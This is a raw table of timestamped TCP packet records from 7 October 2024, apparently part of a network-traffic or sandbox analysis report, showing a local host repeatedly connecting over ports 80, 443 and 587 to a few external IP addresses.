Oct 7, 2024 08:51:24.111000061 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.111043930 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.111605883 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.116436005 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:24.117566109 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:24.121475935 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:24.121535063 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:24.122380018 CEST	80	49744	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:24.122443914 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:24.122538090 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:24.127289057 CEST	80	49744	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:24.455715895 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.455826998 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.457516909 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.457523108 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.458472967 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.501871109 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.513438940 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.555397987 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.621068954 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.621181011 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.623754978 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.623754978 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.627157927 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:24.631908894 CEST	80	49741	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:24.809830904 CEST	80	49744	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:24.811073065 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.811132908 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.811351061 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.811861038 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.811891079 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.833192110 CEST	80	49741	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:24.835555077 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.835594893 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.835671902 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.836000919 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:24.836020947 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.861234903 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:24.876852036 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.269382954 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:25.270994902 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:25.271037102 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:25.296331882 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:25.298053026 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:25.298091888 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:25.417274952 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:25.417378902 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:25.417438030 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:25.417990923 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:25.422146082 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.422883987 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.427130938 CEST	80	49744	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:25.427195072 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.427660942 CEST	80	49747	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:25.427735090 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.427826881 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.432552099 CEST	80	49747	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:25.444931984 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:25.445171118 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:25.445246935 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:25.445710897 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:25.449469090 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.450378895 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.454555035 CEST	80	49741	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:25.454621077 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.455204010 CEST	80	49748	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:25.455271959 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.465378046 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:25.470216990 CEST	80	49748	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:26.099988937 CEST	80	49747	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:26.101627111 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.101679087 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.101959944 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.102318048 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.102336884 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.119807005 CEST	80	49748	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:26.121052980 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.121088028 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.121159077 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.121505976 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.121525049 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.142488003 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.173749924 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.558281898 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.560338974 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.560357094 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.582220078 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.584240913 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.584256887 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.680329084 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.680416107 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.680598021 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.681000948 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.684144974 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.685354948 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.689155102 CEST	80	49747	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:26.689204931 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.690234900 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:26.690330029 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.690434933 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.695394039 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:26.714907885 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.715151072 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:26.715224981 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.715550900 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:26.718925953 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.720227957 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.723978996 CEST	80	49748	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:26.724046946 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.725027084 CEST	80	49752	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:26.725182056 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.725182056 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:26.729921103 CEST	80	49752	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:27.355006933 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:27.356439114 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.356472015 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.356542110 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.356817007 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.356831074 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.388710022 CEST	80	49752	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:27.389894962 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.389906883 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.390101910 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.390388966 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.390402079 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.408098936 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.439404964 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.819473028 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.823559046 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.823570013 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.857903004 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.859771013 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.859796047 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.946655989 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.946729898 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.946854115 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.947356939 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.950254917 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.951210976 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.955343962 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:27.955410957 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.955997944 CEST	80	49755	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:27.956063032 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.956156969 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.960963011 CEST	80	49755	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:27.976825953 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.977088928 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:27.977180004 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.977679968 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:27.981232882 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.986005068 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:27.986284018 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.986356974 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:27.991102934 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:28.621740103 CEST	80	49755	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:28.623064995 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:28.623095989 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:28.623177052 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:28.623413086 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:28.623424053 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:28.650738955 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:28.664870024 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:28.664900064 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:28.664999962 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:28.665219069 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:28.665234089 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:28.673758984 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:28.705004930 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.082442045 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.083911896 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.083925009 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.143577099 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.145556927 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.145572901 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.222012043 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.222120047 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.222177982 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.222599983 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.225637913 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.226994991 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.230597973 CEST	80	49755	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:29.230721951 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.231856108 CEST	80	49759	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:29.231930017 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.232044935 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.236951113 CEST	80	49759	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:29.280391932 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.280648947 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.280734062 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.281347036 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.285578966 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.286179066 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.290702105 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:29.290774107 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.290939093 CEST	80	49760	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:29.291001081 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.291100979 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.295839071 CEST	80	49760	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:29.924650908 CEST	80	49759	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:29.926363945 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.926404953 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.926531076 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.926842928 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.926857948 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.970777035 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:29.989221096 CEST	80	49760	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:29.990627050 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.990659952 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:29.990735054 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.991115093 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:29.991126060 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.033116102 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:30.419414997 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.421580076 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:30.421597004 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.458307028 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.460114002 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:30.460129023 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.568059921 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.568166971 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.568622112 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:30.569834948 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:30.583795071 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:30.588973045 CEST	80	49759	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:30.589024067 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:30.591959000 CEST	49763	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:30.591993093 CEST	443	49763	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:30.592098951 CEST	49763	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:30.592551947 CEST	49763	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:30.592562914 CEST	443	49763	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:30.604511976 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.604630947 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:30.604713917 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:30.605268002 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:30.609060049 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:30.610132933 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:30.614057064 CEST	80	49760	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:30.614137888 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:30.615078926 CEST	80	49764	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:30.615145922 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:30.615340948 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:30.620054007 CEST	80	49764	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:31.229259968 CEST	443	49763	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:31.229332924 CEST	49763	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:31.231106043 CEST	49763	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:31.231112003 CEST	443	49763	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:31.231379986 CEST	443	49763	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:31.233011961 CEST	49763	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:31.278855085 CEST	80	49764	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:31.279400110 CEST	443	49763	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:31.285305977 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:31.285352945 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:31.285417080 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:31.288557053 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:31.288574934 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:31.330013037 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:31.489077091 CEST	443	49763	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:31.489139080 CEST	443	49763	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:31.489227057 CEST	49763	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:31.536443949 CEST	49763	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:31.778256893 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:31.781934977 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:31.781959057 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:31.916083097 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:31.916328907 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:31.916393995 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:31.916795015 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:31.919869900 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:31.921046972 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:31.924926996 CEST	80	49764	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:31.925002098 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:31.926002026 CEST	80	49767	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:31.926070929 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:31.926182985 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:31.931427002 CEST	80	49767	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:32.589632034 CEST	80	49767	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:32.590886116 CEST	49769	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:32.590939045 CEST	443	49769	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:32.591023922 CEST	49769	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:32.591249943 CEST	49769	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:32.591265917 CEST	443	49769	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:32.642488003 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:33.083148003 CEST	443	49769	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:33.092571020 CEST	49769	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:33.092607021 CEST	443	49769	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:33.222255945 CEST	443	49769	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:33.222548962 CEST	443	49769	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:33.222609043 CEST	49769	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:33.223048925 CEST	49769	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:33.226959944 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:33.228153944 CEST	49771	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:33.232112885 CEST	80	49767	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:33.232161999 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:33.233104944 CEST	80	49771	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:33.233202934 CEST	49771	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:33.233355045 CEST	49771	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:33.238164902 CEST	80	49771	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:33.904340982 CEST	80	49771	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:33.905788898 CEST	49774	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:33.905831099 CEST	443	49774	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:33.905963898 CEST	49774	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:33.906254053 CEST	49774	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:33.906267881 CEST	443	49774	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:33.955020905 CEST	49771	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:34.368613005 CEST	443	49774	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:34.381652117 CEST	49774	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:34.381665945 CEST	443	49774	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:34.518306017 CEST	443	49774	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:34.518392086 CEST	443	49774	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:34.518440962 CEST	49774	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:34.519262075 CEST	49774	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:34.531627893 CEST	49771	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:34.532449961 CEST	49775	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:34.532490969 CEST	443	49775	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:34.532557011 CEST	49775	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:34.533216953 CEST	49775	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:34.533230066 CEST	443	49775	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:34.537988901 CEST	80	49771	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:34.538284063 CEST	49771	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:35.140113115 CEST	443	49775	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:35.140204906 CEST	49775	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:35.142267942 CEST	49775	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:35.142278910 CEST	443	49775	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:35.142565012 CEST	443	49775	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:35.145006895 CEST	49775	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:35.187408924 CEST	443	49775	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:35.402009964 CEST	443	49775	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:35.402091980 CEST	443	49775	149.154.167.220	192.168.2.4
Oct 7, 2024 08:51:35.402147055 CEST	49775	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:35.412548065 CEST	49775	443	192.168.2.4	149.154.167.220
Oct 7, 2024 08:51:36.857763052 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:37.127486944 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:37.132446051 CEST	587	50126	68.66.224.41	192.168.2.4
